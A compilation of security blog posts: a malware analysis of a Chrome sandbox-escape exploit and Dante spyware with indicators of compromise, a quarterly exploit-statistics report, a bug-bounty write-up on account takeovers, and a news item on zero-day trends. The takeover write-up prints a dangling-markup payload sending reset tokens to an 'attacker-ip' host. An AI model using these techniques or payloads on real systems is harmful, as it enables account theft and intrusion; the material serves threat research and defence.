  • Creates and sends an ipcz message of the type RelayMessage. This message type is used to pass Windows OS handles between two processes that do not have the necessary permissions (e.g., renderer processes). The exploit retrieves the handle returned by the GetCurrentThread API function and uses this ipcz message to relay it to itself. The broker transfers handles between processes using the DuplicateHandle API function.
  • Receives the relayed message back using the ipcz::NodeLink::OnAcceptRelayedMessage function hook, but instead of the handle that was previously returned by the GetCurrentThread API function, it now contains a handle to the thread in the browser process!
  • Uses this handle to execute a series of code gadgets in the target process by suspending the thread, setting register values using SetThreadContext, and resuming the thread. This results in shellcode execution in the browser process and subsequent installation of a malware loader.

So, what went wrong, and how was this possible? The answer can be found in the descriptions of the GetCurrentThread and GetCurrentProcess API functions. When these functions are called, they don’t return actual handles; rather, they return pseudo handles, special constants that are interpreted by the kernel as a handle to the current thread or process. For the current process, this constant is -1 (also equal to INVALID_HANDLE_VALUE, which brings its own set of quirks), and the constant for the current thread is -2. Chrome’s IPC code already checked for handles equal to -1, but there were no checks for -2 or other undocumented pseudo handles. This oversight led to the vulnerability. As a result, when the broker passed the -2 pseudo handle received from the renderer to the DuplicateHandle API function while processing the RelayMessage, it converted -2 into a real handle to its own thread and passed it to the renderer.

Shortly after the patch was released, it became clear that Chrome was not the only browser affected by the issue. Firefox developers quickly identified a similar pattern in their IPC code and released an update under CVE-2025-2857.

When pseudo handles were first introduced, they simplified development and helped squeeze out extra performance – something that was crucial on older PCs. Now, decades later, that outdated optimization has come back to bite us.

Could we see more bugs like this? Absolutely. In fact, this represents a whole class of vulnerabilities worth hunting for – similar issues may still be lurking in other applications and Windows system services.

To learn about the hardening introduced in Google Chrome following the discovery of CVE-2025-2783, we recommend checking out Alex Gough’s upcoming presentation, “Responding to an ITW Chrome Sandbox Escape (Twice!),” at Kawaiicon.

Persistent loader

Persistence is achieved using the Component Object Model (COM) hijacking technique. This method exploits a system’s search order for COM objects. In Windows, each COM class has a registry entry that associates the CLSID (128-bit GUID) of the COM with the location of its DLL or EXE file. These entries are stored in the system registry hive HKEY_LOCAL_MACHINE (HKLM), but can be overridden by entries in the user registry hive HKEY_CURRENT_USER (HKCU). This enables attackers to override the CLSID entry and run malware when the system attempts to locate and run the correct COM component.

COM hijacking in a nutshell

COM hijacking in a nutshell

The attackers used this technique to override the CLSID of twinapi.dll {AA509086-5Ca9-4C25-8F95-589D3C07B48A} and cause the system processes and web browsers to load the malicious DLL.

This malicious DLL is a loader that decrypts and executes the main malware. The payload responsible for loading the malware is encoded using a simple binary encoder similar to those found in the Metasploit framework. It is also obfuscated with OLLVM. Since the hijacked COM object can be loaded into many processes, the payload checks the name of the current process and only loads the malware when it is executed by certain processes (e.g., rdpclip.exe). The main malware is decrypted using a modified ChaCha20 algorithm. The loader also has the functionality to re-encrypt the malware using the BIOS UUID to bind it to the infected machine. The decrypted data contains the main malware and a shellcode generated by Donut that launches it.

LeetAgent

LeetAgent is the spyware used in the Operation ForumTroll campaign. We named it LeetAgent because all of its commands are written in leetspeak. You might not believe it, but this is rare in APT malware. The malware connects to one of its C2 servers specified in the configuration and uses HTTPS to receive and execute commands identified by unique numeric values:

  • 0xC033A4D (COMMAND) – Run command with cmd.exe
  • 0xECEC (EXEC) – Execute process
  • 0x6E17A585 (GETTASKS) – Get list of tasks that agent is currently executing
  • 0x6177 (KILL) – Stop task
  • 0xF17E09 (FILE \x09) – Write file
  • 0xF17ED0 (FILE \xD0) – Read file
  • 0x1213C7 (INJECT) – Inject shellcode
  • 0xC04F (CONF) – Set communication parameters
  • 0xD1E (DIE) – Quit
  • 0xCD (CD) – Change current directory
  • 0x108 (JOB) – Set parameters for keylogger or file stealer

In addition to executing commands received from its C2, it runs keylogging and file-stealing tasks in the background. By default, the file-stealer task searches for documents with the following extensions: *.doc, *.xls, *.ppt, *.rtf, *.pdf, *.docx, *.xlsx, *.pptx.

The configuration data is encoded using the TLV (tag-length-value) scheme and encrypted with a simple single-byte XOR cipher. The data contains settings for communicating with the C2, including many settings for traffic obfuscation.

In most of the observed cases, the attackers used the Fastly.net cloud infrastructure to host their C2. Attackers frequently use it to download and run additional tools such as 7z, Rclone, SharpChrome, etc., as well as additional malware (more on that below).

The number of traffic obfuscation settings may indicate that LeetAgent is a commercial tool, though we have only seen ForumTroll APT use it.

Finding Dante

In our opinion, attributing unknown malware is the most challenging aspect of security research. Why? Because it’s not just about analyzing the malware or exploits used in a single attack; it’s also about finding and analyzing all the malware and exploits used in past attacks that might be related to the one you’re currently investigating. This involves searching for and investigating similar attacks using indicators of compromise (IOCs) and tactics, techniques, and procedures (TTPs), as well as identifying overlaps in infrastructure, code, etc. In short, it’s about finding and piecing together every scrap of evidence until a picture of the attacker starts to emerge.

We traced the first use of LeetAgent back to 2022 and discovered more ForumTroll APT attacks on organizations and individuals in Russia and Belarus. In many cases, the infection began with a phishing email containing malicious attachments with the following names:

  • Baltic_Vector_2023.iso (translated from Russian)
  • DRIVE.GOOGLE.COM (executable file)
  • Invitation_Russia-Belarus_strong_partnership_2024.lnk (translated from Russian)
  • Various other file names mentioning individuals and companies

In addition, we discovered another cluster of similar attacks that used more sophisticated spyware instead of LeetAgent. We were also able to track the first use of this spyware back to 2022. In this cluster, the infections began with phishing emails containing malicious attachments with the following names:

  • SCAN_XXXX_<DATE>.pdf.lnk
  • <DATE>_winscan_to_pdf.pdf.lnk
  • Rostelecom.pdf.lnk (translated from Russian)
  • Various others

The attackers behind this activity used similar file system paths and the same persistence method as the LeetAgent cluster. This led us to suspect that the two clusters might be related, and we confirmed a direct link when we discovered attacks in which this much more sophisticated spyware was launched by LeetAgent.

Connection between LeetAgent and commercial spyware called Dante

Connection between LeetAgent and commercial spyware called Dante

After analyzing this previously unknown, sophisticated spyware, we were able to identify it as commercial spyware called Dante, developed by the Italian company Memento Labs.

The Atlantic Council’s Cyber Statecraft Initiative recently published an interesting report titled “Mythical Beasts and where to find them: Mapping the global spyware market and its threats to national security and human rights.” We think that comparing commercial spyware to mythical beasts is a fitting analogy. While everyone in the industry knows that spyware vendors exist, their “products” are rarely discovered or identified. Meanwhile, the list of companies developing commercial spyware is huge. Some of the most famous are NSO Group, Intellexa, Paragon Solutions, Saito Tech (formerly Candiru), Vilicius Holding (formerly FinFisher), Quadream, Memento Labs (formerly Hacking Team), negg Group, and RCS Labs. Some are always in the headlines, some we have reported on before, and a few have almost completely faded from view. One company in the latter category is Memento Labs, formerly known as Hacking Team.

Hacking Team (also stylized as HackingTeam) is one of the oldest and most famous spyware vendors. Founded in 2003, Hacking Team became known for its Remote Control Systems (RCS) spyware, used by government clients worldwide, and for the many controversies surrounding it. The company’s trajectory changed dramatically in 2015 when more than 400 GB of internal data was leaked online following a hack. In 2019, the company was acquired by InTheCyber Group and renamed Memento Labs. “We want to change absolutely everything,” the Memento Labs owner told Motherboard in 2019. “We’re starting from scratch.” Four years later, at the ISS World MEA 2023 conference for law enforcement and government intelligence agencies, Memento Labs revealed the name of its new surveillance tool – DANTE. Until now, little was known about this malware’s capabilities, and its use in attacks had not been discovered.

Excerpt from the agenda of the ISS World MEA 2023 conference (the typo was introduced on the conference website)

Excerpt from the agenda of the ISS World MEA 2023 conference (the typo was introduced on the conference website)

The problem with detecting and attributing commercial spyware is that vendors typically don’t include their copyright information or product names in their exploits and malware. In the case of the Dante spyware, however, attribution was simple once we got rid of VMProtect’s obfuscation and found the malware name in the code.

Dante spyware name in the code

Dante spyware name in the code

Dante

Of course, our attribution isn’t based solely on the string “Dante” found in the code, but it was an important clue that pointed us in the right direction. After some additional analysis, we found a reference to a “2.0” version of the malware, which matches the title of the aforementioned conference talk. We then searched for and identified the most recent samples of Hacking Team’s Remote Control Systems (RCS) spyware. Memento Labs kept improving its codebase until 2022, when it was replaced by Dante. Even with the introduction of the new malware, however, not everything was built from scratch; the later RCS samples share quite a few similarities with Dante. All these findings make us very confident in our attribution.

Why did the authors name it Dante? This may be a nod to tradition, as RCS spyware was also known as “Da Vinci”. But it could also be a reference to Dante’s poem Divine Comedy, alluding to the many “circles of hell” that malware analysts must pass through when detecting and analyzing the spyware given its numerous anti-analysis techniques.

First of all, the spyware is packed with VMProtect. It obfuscates control flow, hides imported functions, and adds anti-debugging checks. On top of that, almost every string is encrypted.

VMProtect anti-debugging technique

VMProtect anti-debugging technique

To protect against dynamic analysis, Dante uses the following anti-hooking technique: when code needs to execute an API function, its address is resolved using a hash, its body is parsed to extract the system call number, and then a new system call stub is created and used.

Dante anti-hooking technique (simplified)

Dante anti-hooking technique (simplified)

In addition to VMProtect’s anti-debugging techniques, Dante uses some common methods to detect debuggers. Specifically, it checks the debug registers (Dr0–Dr7) using NtGetContextThread, inspects the KdDebuggerEnabled field in the KUSER_SHARED_DATA structure, and uses NtQueryInformationProcess to detect debugging by querying the ProcessDebugFlags, ProcessDebugPort, ProcessDebugObjectHandle, and ProcessTlsInformation classes.

To protect itself from being discovered, Dante employs an interesting method of checking the environment to determine if it is safe to continue working. It queries the Windows Event Log for events that may indicate the use of malware analysis tools or virtual machines (as a guest or host).

The strings Dante searches for in the event logs

The strings Dante searches for in the event logs

It also performs several anti-sandbox checks. It searches for “bad” libraries, measures the execution times of the sleep() function and the cpuid instruction, and checks the file system.

Some of these anti-analysis techniques may be a bit annoying, but none of them really work or can stop a professional malware analyst. We deal with these techniques on an almost daily basis.

After performing all the checks, Dante does the following: decrypts the configuration and the orchestrator, finds the string “DANTEMARKER” in the orchestrator, overwrites it with the configuration, and then loads the orchestrator.

The configuration is decrypted from the data section of the malware using a simple XOR cipher. The orchestrator is decrypted from the resource section and poses as a font file. Dante can also load and decrypt the orchestrator from the file system if a newer, updated version is available.

The orchestrator displays the code quality of a commercial product, but isn’t particularly interesting. It is responsible for communication with C2 via HTTPs protocol, handling modules and configuration, self-protection, and self-removal.

Modules can be saved and loaded from the file system or loaded from memory. The infection identifier (GUID) is encoded in Base64. Parts of the resulting string are used to derive the path to a folder containing modules and the path to additional settings stored in the registry.

An example of Dante's paths derivation

An example of Dante’s paths derivation

The folder containing modules includes a binary file that stores information about all downloaded modules, including their versions and filenames. This metadata file is encrypted with a simple XOR cipher, while the modules are encrypted with AES-256-CBC, using the first 0x10 bytes of the module file as the IV and the key bound to the machine. The key is equal to the SHA-256 hash of a buffer containing the CPU identifier and the Windows Product ID.

To protect itself, the orchestrator uses many of the same anti-analysis techniques, along with additional checks for specific process names and drivers.

If Dante doesn’t receive commands within the number of days specified in the configuration, it deletes itself and all traces of its activity.

At the time of writing this report, we were unable to analyze additional modules because there are currently no active Dante infections among our users. However, we would gladly analyze them if they become available. Now that information about this spyware has been made public and its developer has been identified, we hope it won’t be long before additional modules are discovered and examined. To support this effort, we are sharing a method that can be used to identify active Dante spyware infections (see the Indicators of compromise section).

Although we didn’t see the ForumTroll APT group using Dante in the Operation ForumTroll campaign, we have observed its use in other attacks linked to this group. Notably, we saw several minor similarities between this attack and others involving Dante, such as similar file system paths, the same persistence mechanism, data hidden in font files, and other minor details. Most importantly, we found similar code shared by the exploit, loader, and Dante. Taken together, these findings allow us to conclude that the Operation ForumTroll campaign was also carried out using the same toolset that comes with the Dante spyware.

Conclusion

This time, we have not one, but three conclusions.

1) DuplicateHandle is a dangerous API function. If the process is privileged and the user can provide a handle to it, the code should return an error when a pseudo-handle is supplied.

2) Attribution is the most challenging part of malware analysis and threat intelligence, but also the most rewarding when all the pieces of the puzzle fit together perfectly. If you ever dreamed of being a detective as a child and solving mysteries like Sherlock Holmes, Miss Marple, Columbo, or Scooby-Doo and the Mystery Inc. gang, then threat intelligence might be the right job for you!

3) Back in 2019, Hacking Team’s new owner stated in an interview that they wanted to change everything and start from scratch. It took some time, but by 2022, almost everything from Hacking Team had been redone. Now that Dante has been discovered, perhaps it’s time to start over again.

Full details of this research, as well as future updates on ForumTroll APT and Dante, are available to customers of the APT reporting service through our Threat Intelligence Portal.

Contact: intelreports@kaspersky.com

Indicators of compromise

Kaspersky detections
Exploit.Win32.Generic
Exploit.Win64.Agent
Trojan.Win64.Agent
Trojan.Win64.Convagent.gen
HEUR:Trojan.Script.Generic
PDM:Exploit.Win32.Generic
PDM:Trojan.Win32.Generic
UDS:DangerousObject.Multi.Generic

TTP detection rules in Kaspersky NEXT EDR Expert
suspicious_drop_dll_via_chrome
This rule detects a DLL load within a Chrome process, initiated via Outlook. This behavior is consistent with exploiting a vulnerability that enables browser sandbox bypass through the manipulation of Windows pseudo-handles and IPC.

possible_com_hijacking_by_memento_labs_via_registry
This rule detects an attempt at system persistence via the COM object hijacking technique, which exploits peculiarities in the Windows COM component resolution process. This feature allows malicious actors to create custom CLSID entries in the user-specific registry branch, thereby overriding legitimate system components. When the system attempts to instantiate the corresponding COM object, the malicious payload executes instead of the original code.

cve_exploit_detected
This generic rule is designed to detect attempts by malicious actors to exploit various vulnerabilities. Its logic is based on analyzing a broad set of characteristic patterns that reflect typical exploitation behavior.

Folder with modules
The folder containing the modules is located in %LocalAppData%, and is named with an eight-byte Base64 string. It contains files without extensions whose names are also Base64 strings that are eight bytes long. One of the files has the same name as the folder. This information can be used to identify an active infection.

Loader
7d3a30dbf4fd3edaf4dde35ccb5cf926
3650c1ac97bd5674e1e3bfa9b26008644edacfed
2e39800df1cafbebfa22b437744d80f1b38111b471fa3eb42f2214a5ac7e1f13

LeetAgent
33bb0678af6011481845d7ce9643cedc
8390e2ebdd0db5d1a950b2c9984a5f429805d48c
388a8af43039f5f16a0673a6e342fa6ae2402e63ba7569d20d9ba4894dc0ba59

Dante
35869e8760928407d2789c7f115b7f83
c25275228c6da54cf578fa72c9f49697e5309694
07d272b607f082305ce7b1987bfa17dc967ab45c8cd89699bcdced34ea94e126

Exploits and vulnerabilities in Q2 2025

Vulnerability registrations in Q2 2025 proved to be quite dynamic. Vulnerabilities that were published impact the security of nearly every computer subsystem: UEFI, drivers, operating systems, browsers, as well as user and web applications. Based on our analysis, threat actors continue to leverage vulnerabilities in real-world attacks as a means of gaining access to user systems, just like in previous periods.

This report also describes known vulnerabilities used with popular C2 frameworks during the first half of 2025.

Statistics on registered vulnerabilities

This section contains statistics on assigned CVE IDs. The data is taken from cve.org.

Let’s look at the number of CVEs registered each month over the last five years.

Total vulnerabilities published each month from 2021 to 2025 (download)

This chart shows the total volume of vulnerabilities that go through the publication process. The number of registered vulnerabilities is clearly growing year-on-year, both as a total and for each individual month. For example, around 2,600 vulnerabilities were registered as of the beginning of 2024, whereas in January 2025, the figure exceeded 4,000. This upward trend was observed every month except May 2025. However, it’s worth noting that the registry may include vulnerabilities with identifiers from previous years; for instance, a vulnerability labeled CVE-2024-N might be published in 2025.

We also examined the number of vulnerabilities assigned a “Critical” severity level (CVSS > 8.9) during the same period.

Total number of critical vulnerabilities published each month from 2021 to 2025 (download)

The data for the first two quarters of 2025 shows a significant increase when compared to previous years. Unfortunately, it’s impossible to definitively state that the total number of registered critical vulnerabilities is growing, as some security issues aren’t assigned a CVSS score. However, we’re seeing that critical vulnerabilities are increasingly receiving detailed descriptions and publications – something that should benefit the overall state of software security.

Exploitation statistics

This section presents statistics on vulnerability exploitation for Q2 2025. The data draws on open sources and our telemetry.

Windows and Linux vulnerability exploitation

In Q2 2025, as before, the most common exploits targeted vulnerable Microsoft Office products that contained unpatched security flaws.

Kaspersky solutions detected the most exploits on the Windows platform for the following vulnerabilities:

  • CVE-2018-0802: a remote code execution vulnerability in the Equation Editor component
  • CVE-2017-11882: another remote code execution vulnerability, also affecting Equation Editor
  • CVE-2017-0199: a vulnerability in Microsoft Office and WordPad allowing an attacker to gain control over the system

These vulnerabilities are traditionally exploited by threat actors more often than others, as we’ve detailed in previous reports. These are followed by equally popular issues in WinRAR and exploits for stealing NetNTLM credentials in the Windows operating system:

  • CVE-2023-38831: a vulnerability in WinRAR involving improper handling of files within archive contents
  • CVE-2025-24071: a Windows File Explorer vulnerability that allows for the retrieval of NetNTLM credentials when opening specific file types (.library-ms)
  • CVE-2024-35250: a vulnerability in the ks.sys driver that allows arbitrary code execution

Dynamics of the number of Windows users encountering exploits, Q1 2024 — Q2 2025. The number of users who encountered exploits in Q1 2024 is taken as 100% (download)

All of the vulnerabilities listed above can be used for both initial access to vulnerable systems and privilege escalation. We recommend promptly installing updates for the relevant software.

For the Linux operating system, exploits for the following vulnerabilities were detected most frequently:

  • CVE-2022-0847, also known as Dirty Pipe: a widespread vulnerability that allows privilege escalation and enables attackers to take control of running applications
  • CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation
  • CVE-2021-22555: a heap overflow vulnerability in the Netfilter kernel subsystem. The widespread exploitation of this vulnerability is due to the fact that it employs popular memory modification techniques: manipulating msg_msg primitives, which leads to a Use-After-Free security flaw.

Dynamics of the number of Linux users encountering exploits, Q1 2024 — Q2 2025. The number of users who encountered exploits in Q1 2024 is taken as 100% (download)

It’s critically important to install security patches for the Linux operating system, as it’s attracting more and more attention from threat actors each year – primarily due to the growing number of user devices running Linux.

Most common published exploits

In Q2 2025, we observed that the distribution of published exploits by software type continued the trends from last year. Exploits targeting operating system vulnerabilities continue to predominate over those targeting other software types that we track as part of our monitoring of public research, news, and PoCs.

Distribution of published exploits by platform, Q1 2025 (download)

Distribution of published exploits by platform, Q2 2025 (download)

In Q2, no public information about new exploits for Microsoft Office systems appeared.

Vulnerability exploitation in APT attacks

We analyzed data on vulnerabilities that were exploited in APT attacks during Q2 2025. The following rankings are informed by our telemetry, research, and open-source data.

TOP 10 vulnerabilities exploited in APT attacks, Q2 2025 (download)

The Q2 TOP 10 list primarily draws from the large number of incidents described in public sources. It includes both new security issues exploited in zero-day attacks and vulnerabilities that have been known for quite some time. The most frequently exploited vulnerable software includes remote access and document editing tools, as well as logging subsystems. Interestingly, low-code/no-code development tools were at the top of the list, and a vulnerability in a framework for creating AI-powered applications appeared in the TOP 10. This suggests that the evolution of software development technology is attracting the attention of attackers who exploit vulnerabilities in new and increasingly popular tools. It’s also noteworthy that the web vulnerabilities were found not in AI-generated code but in the code that supported the AI framework itself.

Judging by the vulnerabilities identified, the attackers’ primary goals were to gain system access and escalate privileges.

C2 frameworks

In this section, we’ll look at the most popular C2 frameworks used by threat actors and analyze the vulnerabilities whose exploits interacted with C2 agents in APT attacks.

The chart below shows the frequency of known C2 framework usage in attacks on users during the first half of 2025, according to open sources.

TOP 13 C2 frameworks used by APT groups to compromise user systems in Q1–Q2 2025 (download)

The four most frequently used frameworks – Sliver, Metasploit, Havoc, and Brute Ratel C4 – can work with exploits “out of the box” because their agents provide a variety of post-compromise capabilities. These capabilities include reconnaissance, command execution, and maintaining C2 communication. It should be noted that the default implementation of Metasploit has built-in support for exploits that attackers use for initial access. The other three frameworks, in their standard configurations, only support privilege escalation and persistence exploits in a compromised system and require additional customization tailored to the attackers’ objectives. The remaining tools don’t work with exploits directly and were modified for specific exploits in real-world attacks. We can therefore conclude that attackers are increasingly customizing their C2 agents to automate malicious activities and hinder detection.

After reviewing open sources and analyzing malicious C2 agent samples that contained exploits, we found that the following vulnerabilities were used in APT attacks involving the C2 frameworks mentioned above:

  • CVE-2025-31324: a vulnerability in SAP NetWeaver Visual Composer Metadata Uploader that allows for remote code execution and has a CVSS score of 10.0
  • CVE-2024-1709: a vulnerability in ConnectWise ScreenConnect 23.9.7 that can lead to authentication bypass, also with a CVSS score of 10.0
  • CVE-2024-31839: a cross-site scripting vulnerability in the CHAOS v5.0.1 remote administration tool, leading to privilege escalation
  • CVE-2024-30850: an arbitrary code execution vulnerability in CHAOS v5.0.1 that allows for authentication bypass
  • CVE-2025-33053: a vulnerability caused by improper handling of working directory parameters for LNK files in Windows, leading to remote code execution

Interestingly, most of the data about attacks on systems is lost by the time an investigation begins. However, the list of exploited vulnerabilities reveals various approaches to the vulnerability–C2 combination, offering insight into the attack’s progression and helping identify the initial access vector. By analyzing the exploited vulnerabilities, incident investigations can determine that, in some cases, attacks unfold immediately upon exploit execution, while in others, attackers first obtain credentials or system access and only then deploy command and control.

Interesting vulnerabilities

This section covers the most noteworthy vulnerabilities published in Q2 2025.

CVE-2025-32433: vulnerability in the SSH server, part of the Erlang/OTP framework

This remote code execution vulnerability can be considered quite straightforward. The attacker needs to send a command execution request, and the server will run it without performing any checks – even if the user is unauthenticated. The vulnerability occurs during the processing of messages transmitted via the SSH protocol when using packages for Erlang/OTP.

CVE-2025-6218: directory traversal vulnerability in WinRAR

This vulnerability is similar to the well-known CVE-2023-38831: both target WinRAR and can be exploited through user interaction with the GUI. Vulnerabilities involving archives aren’t new and are typically exploited in web applications, which often use archives as the primary format for data transfer. These archives are processed by web application libraries that may lack checks for extraction limits. Typical scenarios for exploiting such vulnerabilities include replacing standard operating system configurations and setting additional values to launch existing applications. This can lead to the execution of malicious commands, either with a delay or upon the next OS boot or application startup.

To exploit such vulnerabilities, attackers need to determine the location of the directory to modify, as each system has a unique file layout. Additionally, the process is complicated by the need to select the correct characters when specifying the extraction path. By using specific combinations of special characters, archive extraction outside of the working directory can bypass security mechanisms, which is the essence of CVE-2025-6218. A PoC for this vulnerability appeared rather quickly.

Hex dump of the PoC file for CVE-2025-6218

Hex dump of the PoC file for CVE-2025-6218

As seen in the file dump, the archive extraction path is altered not due to its complex structure, but by using a relative path without specifying a drive letter. As we mentioned above, a custom file organization on the system makes such an exploit unstable. This means attackers will have to use more sophisticated social engineering methods to attack a user.

CVE-2025-3052: insecure data access vulnerability in NVRAM, allowing bypass of UEFI signature checks

UEFI vulnerabilities almost always aim to disable the Secure Boot protocol, which is designed to protect the operating system’s boot process from rootkits and bootkits. CVE-2025-3052 is no exception.

Researchers were able to find a set of vulnerable UEFI applications in which a function located at offset 0xf7a0 uses the contents of a global non-volatile random-access memory (NVRAM) variable without validation. The vulnerable function incorrectly processes and can modify the data specified in the variable. This allows an attacker to overwrite Secure Boot settings and load any modules into the system – even those that are unsigned and haven’t been validated.

CVE-2025-49113: insecure deserialization vulnerability in Roundcube Webmail

This vulnerability highlights a classic software problem: the insecure handling of serialized objects. It can only be exploited after successful authentication, and the exploit is possible during an active user session. To carry out the attack, a malicious actor must first obtain a legitimate account and then use it to access the vulnerable code, which lies in the lack of validation for the _from parameter.

Post-authentication exploitation is quite simple: a serialized PHP object in text format is placed in the vulnerable parameter for the attack. It’s worth noting that an object injected in this way is easy to restore for subsequent analysis. For instance, in a PoC published online, the payload creates a file named “pwned” in /tmp.

Example of a payload published online

Example of a payload published online

According to the researcher who discovered the vulnerability, the defective code had been used in the project for 10 years.

CVE-2025-1533: stack overflow vulnerability in the AsIO3.sys driver

This vulnerability was exploitable due to an error in the design of kernel pool parameters. When implementing access rights checks for the AsIO3.sys driver, developers incorrectly calculated the amount of memory needed to store the path to the file requesting access to the driver. If a path longer than 256 characters is created, the system will crash with a “blue screen of death” (BSOD). However, in modern versions of NTFS, the path length limit is not 256 but 32,767 characters. This vulnerability demonstrates the importance of a thorough study of documentation: it not only helps to clearly understand how a particular Windows subsystem operates but also impacts development efficiency.

Conclusion and advice

The number of vulnerabilities continues to grow in 2025. In Q2, we observed a positive trend in the registration of new CVE IDs. To protect systems, it’s critical to regularly prioritize the patching of known vulnerabilities and use software capable of mitigating post-exploitation damage. Furthermore, one way to address the consequences of exploitation is to find and neutralize C2 framework agents that attackers may use on a compromised system.

To secure infrastructure, it’s necessary to continuously monitor its state, particularly by ensuring thorough perimeter monitoring.

Special attention should be paid to endpoint protection. A reliable solution for detecting and blocking malware will ensure the security of corporate devices.

Beyond basic protection, corporate infrastructures need to implement a flexible and effective system that allows for the rapid installation of security patches, as well as the configuration and automation of patch management. It’s also important to constantly track active threats and proactively implement measures to strengthen security, including mitigating risks associated with vulnerabilities. Our Kaspersky Next product line helps to detect and analyze vulnerabilities in the infrastructure in a timely manner for companies of all sizes. Moreover, these modern comprehensive solutions also combine the collection and analysis of security event data from all sources, incident response scenarios, an up-to-date database of cyberattacks, and training programs to improve the level of employees’ cybersecurity awareness.

Account Takeovers:  Believe the Unbelievable

Nikhil Srivastava is a Synack Red Team legend and co-founder of Bsides Ahmedabad.

An Account Takeover (ATO) is an attack whereby attackers take ownership of online accounts using several methods. It is unfortunately more common than you’d think, despite all the warnings to create complex passwords, avoid phishing emails and use multi-factor authentication.

Recent research shows 1 in 5 adults have suffered from an account takeover with  average financial losses of approximately $12,000. Further, PerimeterX reported that 75 to 85% of all attempted logins in the second half of 2020 were account takeover attempts. 

The Digital Shadows Research Team exposed an even more concerning statistic: more than 24 billion account usernames and passwords are available for purchase on the dark web. In some cases, purchasing credentials isn’t necessary, as year after year, the most common password is 123456, appearing in one out of every 200 passwords. 

Now that we know just how common ATOs are, let’s review some of the tactics, techniques and procedures (TTPs) used in such attacks.

Account Takeover Methodologies

  • Change Email/Password CSRFThe simplest ATO employs phishing. An attacker sends a link to the victim, and when the unsuspecting user clicks on the link, the victim’s email/password will be changed and the attacker can take over their account.
  • OAuth CSRFConsider a website that allows users to log in using either a classic, password-based mechanism or by linking their account to a social media profile using OAuth. In this case, if the application fails to use the state parameter, an attacker could potentially hijack a user’s account on the client application by binding it to their own social media account.
  • Default/Weak Credentials – Most products have their own default credentials for things like servers, routers, and Virtual Network Computing (VNC) that sometimes do not get changed. Many applications lack a strong password policy and will allow users to set weak passwords such as 123456.
  • Forgot your password? – Sometimes “forget password” implementations can be vulnerable to password reset token leaks, HTTP leaks, bypassing poor security questions, Host header injection or HTTP Parameter Pollution attacks. 
  • Credential Stuffing – In this method, attackers use lists of compromised user credentials to breach a system. Bots can be deployed for automation and scale, based on the assumption that many users reuse usernames and passwords across multiple services.

Examples of Account Takeovers

Here are five anonymized ATO case studies from a variety of industries, including healthcare, software, government and commerce. 

Case Study 1 

In the case of an American chain restaurant, I used trufflehog, a Python search tool, to review the target. While scanning the application, it produced an alert of hard-coded, JavaScript credentials. Browsing the JavaScript, I found some UPS credentials had been hard coded, as shown in the screenshot below.

Using these credentials, I was able to login into their UPS account as an admin which granted me access to sensitive information and control over their shipments.

Case Study 2

Another ATO was for a collaboration software application. While resetting the password for an admin account, I found that the application leaked their password reset token in response, as shown in the screenshot below.

Using this token, I was able to reset the admin password. Sometimes, it really is that simple. 

Case Study 3

This is a case study of a product from a medical equipment company. I tested the whole application without getting any vulnerabilities and at the end decided to check the forget password flow. While requesting the password reset token, the application sent the following request that revealed a path for me to exploit.

I used a Dangling Markup such as <img src=”http://attacker-ip/?id= in the email body before the reset link and sent it to the user. Now as soon as the user opens the email, their password reset token will be sent to me instead.

Case Study 4

The scope of this target was a wildcard and unauthenticated testing only, so I first did some reconnaissance. I found an interesting subdomain that asked for a DVN ID and password to login.

I searched about DVN IDs in help articles, and I found out it’s a 9-digit number assigned to all vendors at the time of licensing.

I did Google searches but didn’t come up with this particular ID. I ended up looking at Google images results in hope that licensing could have been done with paper and could have this ID number included.

Cool, I was correct! Licensing was done on paper and I got a couple of valid DVN IDs in the subject of letters, such as: 

Now that I had this ID, I tried brute-forcing to get a password. When that turned up nothing, I retested the “forget password” flow. It asked for the DVN ID first before resetting the password. I found that the application used two requests for resetting the password. One for querying the password for DVN ID and another one sending a newly generated password to their email ID inside the request itself.

So, this disclosed not only their password but emails too. Using the newly generated password, I was able to login into their account.

Case Study 5 

I was scanning targets for an American food and beverage company when I came across an event application. The application asked for a valid user email to login, and those company emails were whitelisted. I tried with my name@companydomain at first to see the error message and I found the following.

I noticed an email for support was given at the bottom of the page to reach out for any trouble. I thought: Why not attempt it? I entered some information and found the following screen:

The application asked to set the password, and after setting up a password, I was able to login as admin:

Further, while checking the attendee directory, I found multiple accounts that could’ve been taken over using the same method.

Conclusion 

It’s hard to believe that someone with little to no technical experience could gain the level of access that I did, but you should! Account takeovers can be complex, but they can also be relatively simple. All it takes is a bit of creativity and motivation, and just about anyone can login as an admin.

The post Account Takeovers:  Believe the Unbelievable appeared first on Synack.

Researchers Uncover Record Number of Zero-Days. That’s Actually Good News.

By: Synack

By Kim Crawley

The latest research from zero-day hunters at Google shows that reporting and detection tools are improving. 

Google researchers uncovered more than double the number in-the-wild zero-days last year than any other period since it started tracking these dangerous software vulnerabilities in 2014. 

“Is it that software security is getting worse? Or is it that attackers are using 0-day exploits more? Or has our ability to detect and disclose 0-days increased? When looking at the significant uptick from 2020 to 2021, we think it’s mostly explained by the latter,” according to Maddie Stone, a security researcher at Google Project Zero, the company’s team that tracks zero-days.

In a recent blog post detailing the 2021 findings, the group detailed the 58 zero-days that it detected as well as trends, attack patterns and techniques they were able to identify last year, too. Even though the group uncovered more than double the number of the previous high in 2015 (28 found), attacker techniques haven’t significantly evolved.

“With this record number of in-the-wild 0-days to analyze, we saw that attacker methodology hasn’t actually had to change much from previous years. Attackers are having success using the same bug patterns and exploitation techniques and going after the same attack surfaces,” wrote Stone.

It’s tough enough for organizations to manage and mitigate known vulnerabilities, but zero-day exploits pose a unique challenge to all organizations. They are often the attackers’ most powerful tool and when executed against businesses, organizations and individuals can have devastating consequences. As Google noted, there were many reports of zero-day exploits used against journalists, human rights groups and government officials last year.

Key findings from Google’s Project Zero report:

  • The exploits detected in 2021 are very similar to the exploits Google Project Zero detected in previous years. There are new CVE records, but the nature of the vulnerabilities and how they’re exploited are all fairly typical relative to previous trends.
  • Sixty-seven percent (or 39) of the zero-days found in 2021 were memory corruption vulnerabilities. How memory is being used is the main vector for zero-day exploits. They include four buffer overflows, four integer overflows, six out-of-bounds read and writes, and 17 use-after-frees. Maybe the Project is getting better at monitoring memory, or maybe volatile data is more ripe for zero-day exploitation than data in storage.
